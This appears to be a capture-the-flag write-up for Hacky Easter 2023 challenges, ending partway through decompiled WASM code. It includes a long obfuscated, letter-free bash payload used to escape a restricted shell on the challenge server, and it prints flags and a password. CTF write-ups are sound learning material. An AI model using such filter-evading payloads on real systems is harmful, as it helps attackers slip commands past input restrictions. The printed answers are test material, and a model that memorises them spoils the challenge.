he2023{interview_seem_which_Mrs}
he2023{issue_Republican_war_six}
he2023{memory_service_Mr_activity}
he2023{modern_assume_TV_follow}
he2023{money_story_TV_future}
he2023{need_final_name_American}
he2023{never_PM_cover_camera}
he2023{news_Republican_true_actually}
he2023{owner_Mrs_reveal_provide}
he2023{serious_PM_statement_arm}
he2023{standard_risk_impact_I}
he2023{teacher_white_hear_TV}
Mr is the only one with a unique capital word:
1
2
3
4
5
6
7
8
9
10
11
12
$ cat unique.txt|grep '[A-Z][a-z]*' -o | wf
5 I
3 M
3 P
5 T
5 V
2 Congress
4 Mrs
4 American
1 Mr
3 Republican
Total words: 10
Unique Column Values
I created lists of all the unique words in each column:
and then made this lovely grep:
1
egrep --color=auto '{(Congress|TV|able|about|above|according|across|action|activity|actually|address|administration|admit|adult|affect|against|ago|ahead|air|all|almost|always|animal|another|answer|appear|area|arm|around|art|article|artist|ask|assume|attack|audience|author|available|avoid|ball|bank|bar|before|begin|believe|benefit|best|bill|bit|black|body|box|break|bring|brother|building|buy|camera|campaign|capital|card|career|carry|case|challenge|character|charge|check|choice|choose|city|claim|clear|clearly|cold|color|common|community|computer|conference|consumer|contain|control|could|country|course|crime|culture|cup|current|dark|day|debate|decade|decide|decision|deep|defense|degree|design|despite|develop|development|different|difficult|director|discuss|drug|during|early|easy|education|enjoy|enough|even|evening|evidence|fact|far|father|fear|feeling|field|fight|figure|finally|find|firm|fish|focus|follow|foot|force|foreign|free|friend|front|full|fund|future|get|go|good|government|green|ground|growth|he|head|help|high|history|hold|home|how|human|hundred|idea|imagine|in|individual|industry|inside|instead|involve|kitchen|knowledge|language|last|lay|learn|least|less|letter|light|likely|local|lot|machine|major|manage|management|material|maybe|medical|meet|mention|method|middle|mind|mission|moment|most|movement|much|necessary|need|network|new|newspaper|no|note|notice|number|off|office|officer|on|only|opportunity|or|other|out|over|painting|paper|particularly|pay|per|person|personal|pick|picture|place|point|policy|poor|popular|positive|possible|practice|prepare|president|pressure|prevent|probably|product|production|professional|program|protect|quickly|quite|race|reach|real|reality|recently|recognize|record|red|relationship|religious|represent|research|return|rich|rise|rock|role|rule|safe|school|science|seat|second|section|security|seek|sell|send|sense|show|significant|sing|sister|sit|site|six|size|skin|small|society|someone|something|song|sound|south|southern|space|special|staff|stand|state|stay|stop|story|stuff|success|successful|suffer|summer|surface|system|table|talk|task|teacher|television|tell|term|than|that|their|themselves|theory|these|this|throw|thus|time|today|together|top|training|treat|treatment|tree|trial|trip|trouble|turn|unit|up|us|use|value|various|voice|walk|wall|want|watch|water|way|weight|well|what|whatever|where|who|whole|whom|wind|with|within|work|worry|would|wrong|you|young|your)_(American|ability|able|above|account|across|act|action|add|administration|again|against|agree|air|allow|almost|already|also|among|animal|answer|any|anyone|appear|apply|arrive|art|article|artist|at|attack|audience|authority|avoid|away|baby|base|be|because|before|behavior|behind|both|bring|budget|building|campaign|candidate|capital|car|care|carry|case|central|century|chance|choose|city|clearly|close|collection|college|common|concern|contain|cost|course|cultural|culture|data|daughter|deal|decade|defense|degree|design|develop|development|direction|director|discuss|do|doctor|door|down|draw|east|easy|education|effect|either|end|enough|entire|environmental|especially|establish|event|everybody|evidence|exactly|eye|face|factor|fall|fast|find|finish|firm|first|fish|force|forget|front|full|garden|gas|general|get|give|glass|go|grow|growth|hand|happen|head|health|heart|help|here|herself|history|hit|hope|hot|hotel|house|human|idea|image|impact|improve|in|indicate|industry|inside|into|involve|issue|it|job|join|kid|kitchen|knowledge|late|law|leader|least|leave|leg|let|letter|light|list|little|long|look|low|magazine|major|make|many|media|message|method|model|modern|morning|most|mouth|movie|much|my|name|national|near|necessary|network|never|nice|not|of|officer|official|often|once|only|operation|order|other|our|parent|part|partner|pass|performance|perhaps|phone|pick|position|positive|possible|present|pressure|pretty|process|product|purpose|push|put|quality|quickly|race|radio|ready|real|reason|receive|reduce|reflect|relate|relationship|religious|remain|response|result|risk|road|rule|run|science|sea|season|seat|see|seem|send|sense|series|short|simple|single|sit|site|skill|so|social|someone|soon|sound|source|staff|statement|stop|story|strong|support|sure|system|table|teacher|ten|tend|test|than|thank|the|their|them|there|these|they|think|thought|time|to|today|top|travel|treatment|trial|truth|type|understand|until|use|usually|value|various|voice|vote|water|we|weight|well|west|western|when|where|whether|which|whom|wife|with|within|wonder|write|year|you|your|yourself)_(I|Mr|Mrs|a|about|according|account|activity|actually|admit|adult|agree|agreement|ahead|air|allow|almost|already|amount|analysis|answer|anything|appear|approach|arm|article|as|ask|assume|attack|author|away|baby|bad|ball|bank|base|beat|become|before|behind|believe|best|bill|blood|blue|box|boy|break|bring|business|call|capital|care|career|case|cause|center|certain|certainly|character|child|choice|clear|cold|commercial|conference|contain|control|cost|could|country|couple|course|create|customer|cut|data|deal|deep|describe|develop|development|difference|dinner|direction|discover|discuss|do|dog|draw|dream|during|each|edge|eight|election|end|energy|enjoy|enter|environmental|establish|expert|explain|factor|fall|fast|fear|fight|figure|film|final|financial|find|fire|first|fish|five|floor|foot|forward|four|free|friend|from|future|general|generation|give|goal|good|government|great|green|grow|hair|hand|have|hear|heart|heavy|here|herself|high|him|history|hold|hope|hot|hotel|hour|identify|if|image|impact|important|improve|increase|information|interview|into|involve|itself|key|kid|kind|large|last|later|lawyer|lay|leader|learn|least|leg|let|light|like|line|list|listen|live|long|look|loss|lot|machine|main|make|man|manage|management|manager|market|may|mean|medical|meeting|member|mention|message|million|mind|minute|miss|most|mother|myself|nation|natural|near|new|news|newspaper|nice|night|nor|not|nothing|notice|occur|off|offer|officer|ok|once|one|only|open|outside|page|painting|paper|part|participant|particular|particularly|partner|pass|pay|peace|person|personal|political|popular|population|position|practice|present|president|prevent|product|production|program|project|protect|prove|purpose|push|race|raise|rate|rather|read|real|realize|really|reason|recently|reduce|reflect|report|represent|require|research|rock|rule|same|school|science|second|seek|seem|sell|sense|series|serious|set|shake|share|should|shoulder|show|sign|significant|simple|simply|situation|size|smile|so|soldier|some|soon|south|speak|staff|state|statement|station|step|store|story|strategy|stuff|success|such|support|surface|table|take|talk|task|tax|teach|team|television|tend|term|than|them|theory|there|these|thing|third|this|those|three|together|total|town|trade|traditional|travel|two|type|under|understand|unit|until|upon|value|very|view|visit|voice|vote|want|way|we|west|whatever|where|whether|why|wind|word|worker|would|wrong|you|young|your)_(American|Congress|Mrs|PM|TV|ability|able|action|address|affect|again|agree|air|also|amount|and|animal|another|any|arm|arrive|art|article|ask|attack|attention|authority|base|beat|beautiful|believe|better|beyond|bill|board|book|born|both|break|bring|build|building|buy|can|capital|car|case|cell|center|century|certain|certainly|chair|challenge|chance|change|charge|choice|choose|church|city|claim|clear|close|coach|collection|commercial|common|computer|condition|conference|consumer|contain|couple|cup|current|cut|debate|decade|decision|detail|determine|dinner|direction|discuss|do|down|either|employee|end|energy|enough|enter|environment|environmental|especially|establish|even|event|ever|every|everybody|exist|expect|experience|factor|family|far|fast|father|field|final|finally|find|firm|fish|follow|food|force|former|forward|four|from|game|general|girl|give|great|ground|gun|happy|hard|have|he|health|heart|himself|hold|home|hope|hospital|how|hundred|idea|identify|if|impact|including|information|institution|international|interview|involve|it|itself|join|just|key|last|law|lay|learn|left|let|letter|life|likely|list|little|loss|magazine|man|manage|management|manager|many|may|me|mean|media|medical|memory|message|method|middle|might|military|million|miss|mission|more|morning|most|move|movement|movie|much|music|my|need|new|news|next|nice|night|north|notice|number|offer|office|official|old|once|operation|opportunity|or|other|out|outside|page|painting|partner|people|per|perhaps|person|plant|player|point|policy|political|poor|population|possible|prepare|president|pretty|price|probably|product|provide|put|quality|question|quickly|radio|raise|range|rate|read|real|reality|realize|reason|recent|recognize|region|relationship|religious|remain|result|rich|run|safe|save|say|science|season|see|seem|sell|send|senior|sense|series|serious|service|set|side|single|size|small|society|some|sometimes|son|sort|south|speech|sport|staff|still|stop|store|subject|suffer|support|table|take|task|technology|than|the|their|think|third|threat|three|throughout|throw|total|trade|training|treatment|trip|understand|until|upon|use|very|view|visit|voice|vote|wait|watch|we|what|whatever|when|where|whether|whole|whom|why|wind|window|within|word|world|write|year|your)}' unique.txt
Which returned:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
he2023{address_type_each_car}
he2023{early_race_very_outside}
he2023{education_exactly_market_cup}
he2023{enjoy_case_blood_health}
he2023{language_front_significant_their}
he2023{last_kitchen_dog_action}
he2023{or_event_part_rich}
he2023{practice_animal_account_enough}
he2023{production_within_science_quality}
he2023{represent_pretty_according_window}
he2023{school_stop_lot_break}
he2023{staff_hope_child_amount}
he2023{theory_they_off_when}
he2023{together_end_five_possible}
he2023{wall_leg_require_point}
How about repeated initial letters?
Nothing super promising here:
1
2
3
4
5
6
7
8
9
10
11
12
$ cat unique.txt| egrep '\{(.).*_\1.*_\1'
he2023{among_American_author_agreement}
he2023{cell_course_church_heavy}
he2023{customer_concern_candidate_parent}
he2023{huge_man_hit_half}
he2023{nearly_never_best_newspaper}
he2023{several_street_somebody_represent}
he2023{six_involve_seat_someone}
he2023{sound_simply_wish_see}
he2023{specific_simple_service_two}
he2023{state_laugh_simply_sense}
he2023{study_strong_do_step}
Short? Long?
Nope, nothing unique of either shortest or longest
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ cat unique.txt|awk '{print $0, length($0)}' | sort -nk2 | grep 25
he2023{I_nearly_book_bar} 25
he2023{air_bar_beat_note} 25
he2023{fall_still_TV_the} 25
he2023{fine_step_so_mind} 25
he2023{he_draw_yet_owner} 25
he2023{huge_man_hit_half} 25
he2023{in_how_open_treat} 25
he2023{left_how_tree_big} 25
he2023{most_you_cell_nor} 25
he2023{senior_a_nor_meet} 25
he2023{to_or_smile_civil} 25
he2023{top_but_left_then} 25
...
he2023{security_first_easy_catch} 33 # only one 33 long
...
he2023{catch_interesting_above_development} 43
he2023{decade_visit_responsibility_station} 43
he2023{describe_picture_their_organization} 43
he2023{different_product_environment_price} 43
he2023{international_make_board_individual} 43
he2023{local_different_wide_administration} 43
he2023{political_service_generation_career} 43
he2023{politics_democratic_support_between} 43
Tried flags
1
2
3
4
5
6
7
8
he2023{worker_sister_everybody_next} # No: Had two unique words
he2023{become_attorney_media_become} # No: two extremely non-unique words.
he2023{memory_service_Mr_activity} # No: (only use of a unique capitalised word)
he2023{my_PM_whole_part} # No: re-used letters from left to right.
he2023{security_first_easy_catch} # ??: Only one 33 long
he2023{among_American_author_agreement} # ??: All beginning with A
Solution
Alright, here it is as a one liner:
1
cat writeupfiles/singular/singular.txt | sort | uniq -c | grep ' 1 ' | awk '{print length($0), $0}' | grep $(cat writeupfiles/singular/singular.txt | sort | uniq -c | grep ' 1 ' | awk '{print length($0)}' | sort | uniq -c | grep ' 1 ' | awk '{print $2}')
p gross.
Misc
wf
is pretty nice, I didn’t know such a command existed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ dnf info wf
Installed Packages
Name : wf
Version : 0.41
Release : 28.fc36
Architecture : x86_64
Size : 39 k
Source : wf-0.41-28.fc36.src.rpm
Repository : @System
From repo : fedora
Summary : Simple word frequency counter
URL : http://www.async.com.br/~marcelo/wf/
License : GPLv2
Description : wf scans a text file and counts the frequency of words through the
: whole text.
Flag
he2023{security_first_easy_catch}
Crash Bash
Challenge
Can you crash the bash?
The password is B4sh_br0TH3rs
Connect using nc ch.hackyeaster.com 2303
Note: The service is restarted every hour at x:00.
Hint: Some characters are forbidden, in the whole string you enter.`
Solution
We connect and quickly find out we cannot use any lowercase letters in our commands:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc ch.hackyeaster.com 2303
Welcome to Crash Bash!
To get the flag, call /printflag.sh with the password!
Enter "q" to quit.
----------------------
crashbash$ a
Invalid input, bash crashed!
crashbash$ b
Invalid input, bash crashed!
crashbash$ 1
/bin/bash: line 1: 1: command not found
crashbash$ 2
/bin/bash: line 1: 2: command not found
crashbash$ _
/bin/bash: line 1: _: command not found
crashbash$ A
/bin/bash: line 1: A: command not found
crashbash$
so we have to find a way to call /printflag.sh B4sh_br0TH3rs
without using any lowercase letters, hmm..
Luckily we find an AMAZING program called bashfuck which will do just that for us, convert any command to a version that doesn’t use any alphnumeric characters!
So we download it (copy here), and ask it to construct our command for us:
1
2
3
4
5
6
7
8
9
10
11
12
$ ./bashfuck.sh /printflag.sh B4sh_br0TH3rs
cmd: `/printflag.sh B4sh_br0TH3rs`
result (1960 byte): ${!#}<<<{$\'\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${
##}))#${##}$#${##}))$#\',$\'\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\',
$\'\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$(($((${##
}<<${##}))#${##}$#${##}))${##}\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${
##}<<${##}))))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$((${##}<<$((${##}<<${##}))))$((
$((${##}<<${##}))#${##}${##}${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${#
#}<<${##}))#${##}$#${##}))$#\\$#$((${##}<<$((${##}<<${##}))))$#\\${##}$#$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$
(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$#\\${##}$(($((${##}<<${##}))#${##}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<
${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$((${##}<<${##}))$((${##}<<$((${##}<<${##}))))\\${##}${##}$#\\$#$(($((${##}<<${##}))#$
{##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\'}
And now we just connect to the service and enter our command:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc ch.hackyeaster.com 2303
Welcome to Crash Bash!
To get the flag, call /printflag.sh with the password!
Enter "q" to quit.
----------------------
crashbash$ ${!#}<<<{$\'\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${
##}))#${##}$#${##}))$#\',$\'\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\',
$\'\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$(($((${##
}<<${##}))#${##}$#${##}))${##}\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${
##}<<${##}))))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$((${##}<<$((${##}<<${##}))))$((
$((${##}<<${##}))#${##}${##}${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${#
#}<<${##}))#${##}$#${##}))$#\\$#$((${##}<<$((${##}<<${##}))))$#\\${##}$#$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$
(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$#\\${##}$(($((${##}<<${##}))#${##}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<
${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$((${##}<<${##}))$((${##}<<$((${##}<<${##}))))\\${##}${##}$#\\$#$(($((${##}<<${##}))#$
{##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\'}
Congrats, here's your flag:
he2023{gr34t_b4sh_succ3ss!}
crashbash$
succes!
Flag
he2023{gr34t_b4sh_succ3ss!}
Code Locked
Challenge
Open the code lock at http://ch.hackyeaster.com:2311 to get your 🚩 flag.
Note: The service is restarted every hour at x:00.
Solution
We get a website with a number pad, where we are told to enter 8 numbers, then hit ‘#’ to open
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html>
<html lang="en">
<head>
<title>code locked</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
<link type="text/css" rel="stylesheet" href="main.css">
<script src="jquery.js"></script>
<script src="main.js"></script>
</head>
<body>
<div id="codelock">
<img id="lock" src="lock.png" class="center" usemap="#lockmap">
<map name="lockmap">
<area shape="circle" coords="111,178,32" alt="1" onclick="press('1')">
<area shape="circle" coords="200,178,32" alt="1" onclick="press('2')">
<area shape="circle" coords="283,178,32" alt="1" onclick="press('3')">
<area shape="circle" coords="111,261,32" alt="1" onclick="press('4')">
<area shape="circle" coords="200,261,32" alt="1" onclick="press('5')">
<area shape="circle" coords="283,261,32" alt="1" onclick="press('6')">
<area shape="circle" coords="111,345,32" alt="1" onclick="press('7')">
<area shape="circle" coords="200,345,32" alt="1" onclick="press('8')">
<area shape="circle" coords="283,345,32" alt="1" onclick="press('9')">
<area shape="circle" coords="111,427,32" alt="1" onclick="press('*')">
<area shape="circle" coords="200,427,32" alt="1" onclick="press('0')">
<area shape="circle" coords="283,427,32" alt="1" onclick="press('#')">
</map>
<img id="green" class="overlay" src="green.png">
<img id="yellow" class="overlay" src="yellow.png">
<img id="red" class="overlay" src="red.png">
</div>
<div id="text">
* to clear | 8 numbers | # open
</div>
</body>
</html>
We look through the javascript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
code = "";
var audioDelete = new Audio("delete.mp3");
audioDelete.load();
var audioClick = new Audio("click.wav");
audioClick.load();
var audioSuccess = new Audio("success.mp3");
audioSuccess.load();
var audioFail = new Audio("fail.mp3");
audioFail.load();
wasmMemory = null;
wasmCheck = null;
function checkWASM(code) {
const pinArray = new Int32Array(wasmMemory.buffer, 0, 26);
encode(code, pinArray);
wasmCheck(pinArray.byteOffset, pinArray.length);
return decode(pinArray);
}
function play(file) {
a = new Audio(file);
a.play();
}
function press(input) {
if (input == "*") {
play("delete.mp3");
$("#yellow").show(0).delay(200).hide(0);
code = "";
} else if (input == "#") {
msg = checkWASM(code);
if (msg.startsWith("he2023")) {
play("success.mp3");
audioSuccess.play();
$("#green").show(0).delay(5000).hide(0);
} else {
play("fail.mp3");
$("#red").show(0).delay(1000).hide(0);
}
setTimeout(function() {alert(msg);}, 200)
} else {
$("#yellow").show(0).delay(200).hide(0);
play("click.wav");
code = (code + input).substr(-8, 8);
}
}
const encode = function stringToIntegerArray(string, array) {
for (let i = 0; i < string.length; i++) {
array[i] = string[i].charCodeAt(0);
}
};
const decode = function integerArrayToString(array) {
let string = "";
for (let i = 0; i < array.length; i++) {
string += String.fromCharCode(array[i]);
}
return string;
};
$(document).ready(function () {
(async () => {
const response = await fetch("check.wasm");
const file = await response.arrayBuffer();
const wasm = await WebAssembly.instantiate(file);
const {memory, check} = wasm.instance.exports;
wasmMemory = memory;
wasmCheck = check;
})();
})
and see that it’s calling a WASM code file to parse the input number. So we can start by ignoring all of the JS and just focusing on the WASM bits:
1
wasm2js check.wasm
wasm2js from binaryen can be installed from at least the fedora repositories, and produces nicer, easier to read javascript:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
function Table(ret) {
// grow method not included; table is not growable
ret.set = function(i, func) {
this[i] = func;
};
ret.get = function(i) {
return this[i];
};
return ret;
}
var bufferView;
var base64ReverseLookup = new Uint8Array(123/*'z'+1*/);
for (var i = 25; i >= 0; --i) {
base64ReverseLookup[48+i] = 52+i; // '0-9'
base64ReverseLookup[65+i] = i; // 'A-Z'
base64ReverseLookup[97+i] = 26+i; // 'a-z'
}
base64ReverseLookup[43] = 62; // '+'
base64ReverseLookup[47] = 63; // '/'
/** @noinline Inlining this function would mean expanding the base64 string 4x times in the source code, which Closure seems to be happy to do. */
function base64DecodeToExistingUint8Array(uint8Array, offset, b64) {
var b1, b2, i = 0, j = offset, bLength = b64.length, end = offset + (bLength*3>>2) - (b64[bLength-2] == '=') - (b64[bLength-1] == '=');
for (; i < bLength; i += 4) {
b1 = base64ReverseLookup[b64.charCodeAt(i+1)];
b2 = base64ReverseLookup[b64.charCodeAt(i+2)];
uint8Array[j++] = base64ReverseLookup[b64.charCodeAt(i)] << 2 | b1 >> 4;
if (j < end) uint8Array[j++] = b1 << 4 | b2 >> 2;
if (j < end) uint8Array[j++] = b2 << 6 | base64ReverseLookup[b64.charCodeAt(i+3)];
}
}
function initActiveSegments(imports) {
base64DecodeToExistingUint8Array(bufferView, 1024, "WAAAAFQAAAAGAAAABQAAAAAAAAAKAAAATQAAAEEAAAADAAAAUwAAAAAAAAAAAAAABwAAAAoAAABbAAAADgAAAAEAAABIAAAAawAAAAQAAAAHAAAAZgAAAHAAAABjAAAAfgAAAEwAAAAAAAAAAAAAAFgAAABUAAAABgAAAAUAAAAAAAAACgAAAE0AAABBAAAAAwAAAFMAAAAAAAAAAAAAAAcAAAAKAAAAWwAAAA4AAAABAAAASAAAAGsAAAAEAAAABwAAAGYAAABwAAAAYwAAAH4AAABMAAAAAAAAAAAAAABZAAAAbwAAAHUAAAAgAAAAZAAAAGkAAABkAAAAIAAAAG4AAABvAAAAdAAAACAAAABvAAAAcAAAAGUAAABuAAAAIAAAAHQAAABoAAAAZQAAACAAAABsAAAAbwAAAGMAAABrAAAAIQAAAA==");
}
function asmFunc(env) {
var buffer = new ArrayBuffer(16777216);
var HEAP8 = new Int8Array(buffer);
var HEAP16 = new Int16Array(buffer);
var HEAP32 = new Int32Array(buffer);
var HEAPU8 = new Uint8Array(buffer);
var HEAPU16 = new Uint16Array(buffer);
var HEAPU32 = new Uint32Array(buffer);
var HEAPF32 = new Float32Array(buffer);
var HEAPF64 = new Float64Array(buffer);
var Math_imul = Math.imul;
var Math_fround = Math.fround;
var Math_abs = Math.abs;
var Math_clz32 = Math.clz32;
var Math_min = Math.min;
var Math_max = Math.max;
var Math_floor = Math.floor;
var Math_ceil = Math.ceil;
var Math_trunc = Math.trunc;
var Math_sqrt = Math.sqrt;
var abort = env.abort;
var nan = NaN;
var infinity = Infinity;
var global$0 = 5244240;
var global$1 = 0;
var global$2 = 0;
function $1($0) {
$0 = $0 | 0;
var $3_1 = 0;
$3_1 = global$0 - 16 | 0;
HEAP32[($3_1 + 12 | 0) >> 2] = $0;
HEAP32[($3_1 + 8 | 0) >> 2] = 0;
label$1 : {
label$2 : while (1) {
if (!((HEAP32[($3_1 + 8 | 0) >> 2] | 0 | 0) < (26 | 0) & 1 | 0)) {
break label$1
}
HEAP32[($3_1 + 4 | 0) >> 2] = ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) + 4 | 0 | 0) % (8 | 0) | 0;
HEAP32[(1136 + ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) << 2 | 0) | 0) >> 2] = (HEAP32[(1024 + ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) << 2 | 0) | 0) >> 2] | 0) ^ (HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + ((HEAP32[($3_1 + 4 | 0) >> 2] | 0) << 2 | 0) | 0) >> 2] | 0) | 0;
HEAP32[($3_1 + 8 | 0) >> 2] = (HEAP32[($3_1 + 8 | 0) >> 2] | 0) + 1 | 0;
continue label$2;
};
}
HEAP32[$3_1 >> 2] = 0;
label$3 : {
label$4 : while (1) {
if (!((HEAP32[$3_1 >> 2] | 0 | 0) < (26 | 0) & 1 | 0)) {
break label$3
}
HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + ((HEAP32[$3_1 >> 2] | 0) << 2 | 0) | 0) >> 2] = HEAP32[(1136 + ((HEAP32[$3_1 >> 2] | 0) << 2 | 0) | 0) >> 2] | 0;
HEAP32[$3_1 >> 2] = (HEAP32[$3_1 >> 2] | 0) + 1 | 0;
continue label$4;
};
}
return;
}
function $2($0) {
$0 = $0 | 0;
var $3_1 = 0;
$3_1 = global$0 - 16 | 0;
HEAP32[($3_1 + 12 | 0) >> 2] = $0;
HEAP32[($3_1 + 8 | 0) >> 2] = 0;
label$1 : {
label$2 : while (1) {
if (!((HEAP32[($3_1 + 8 | 0) >> 2] | 0 | 0) < (26 | 0) & 1 | 0)) {
break label$1
}
HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) << 2 | 0) | 0) >> 2] = HEAP32[(1248 + ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) << 2 | 0) | 0) >> 2] | 0;
HEAP32[($3_1 + 8 | 0) >> 2] = (HEAP32[($3_1 + 8 | 0) >> 2] | 0) + 1 | 0;
continue label$2;
};
}
return;
}
function $3($0) {
$0 = $0 | 0;
var $3_1 = 0;
$3_1 = global$0 - 16 | 0;
global$0 = $3_1;
HEAP32[($3_1 + 12 | 0) >> 2] = $0;
HEAP32[($3_1 + 8 | 0) >> 2] = 48;
label$1 : {
label$2 : {
if (!((HEAP32[(HEAP32[($3_1 + 12 | 0) >> 2] | 0) >> 2] | 0 | 0) != ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) + 2 | 0 | 0) & 1 | 0)) {
break label$2
}
$2(HEAP32[($3_1 + 12 | 0) >> 2] | 0 | 0);
break label$1;
}
HEAP32[($3_1 + 8 | 0) >> 2] = HEAP32[(HEAP32[($3_1 + 12 | 0) >> 2] | 0) >> 2] | 0;
label$3 : {
label$4 : {
if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 4 | 0) >> 2] | 0 | 0) == ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) + 7 | 0 | 0) & 1 | 0)) {
break label$4
}
HEAP32[($3_1 + 8 | 0) >> 2] = HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 4 | 0) >> 2] | 0;
label$5 : {
if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 8 | 0) >> 2] | 0 | 0) != ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) - 3 | 0 | 0) & 1 | 0)) {
break label$5
}
$2(HEAP32[($3_1 + 12 | 0) >> 2] | 0 | 0);
break label$1;
}
